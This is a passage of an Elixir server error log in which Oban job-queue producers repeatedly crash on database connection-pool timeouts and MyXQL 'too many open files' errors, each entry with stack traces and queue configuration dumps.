dispatch_timer: #Reference<0.2525715032.1077411843.258070>, refresh_timer: #Reference<0.2525715032.1077411843.258059>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:40:43.243572Z], limit: 3, uuid: "455e1cac-dcfa-44f0-8cc8-fc39f90b1db8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:43.243578Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258072>, refresh_timer: #Reference<0.2525715032.1068498948.23083>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:40:43.240464Z], limit: 5, uuid: "bebca468-def3-4764-8f0c-fcac51a86874", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:43.240473Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.23074>, refresh_timer: #Reference<0.2525715032.1068498948.23057>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:40:43.243020Z], limit: 50, uuid: "766c462e-a013-4e8d-a8b8-2b37c4f644c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:43.243026Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.23075>, refresh_timer: #Reference<0.2525715032.1068498948.23058>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:40:43.244330Z], limit: 5, uuid: "d59a66e5-8ce5-445a-85c8-6ddf30d016d5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:43.244336Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258073>, refresh_timer: #Reference<0.2525715032.1099431938.25259>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:40:56.367000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:40:56.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:00.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:00.883000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:02.587000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:03.204000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:04.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:07.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:40:55.239766Z], limit: 20, uuid: "4226a388-90fc-4198-a38a-729ef70b7d8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:55.239772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132646>, refresh_timer: #Reference<0.2525715032.1121189889.132628>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:40:55.242420Z], limit: 5, uuid: "b7706d54-2d0d-4a5a-b551-a1a76d4da639", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:55.242425Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.23443>, refresh_timer: #Reference<0.2525715032.1068498948.23435>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:07.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:40:55.240367Z], limit: 5, uuid: "e67fb127-6da8-456c-afc3-4b8da6308d1d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:55.240372Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132649>, refresh_timer: #Reference<0.2525715032.1077411843.258232>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:07.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:40:55.240405Z], limit: 50, uuid: "1f773fe6-effc-4c83-bd1b-bd4f6168ae75", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:40:55.240411Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.132650>, refresh_timer: #Reference<0.2525715032.1077411843.258235>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:07.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
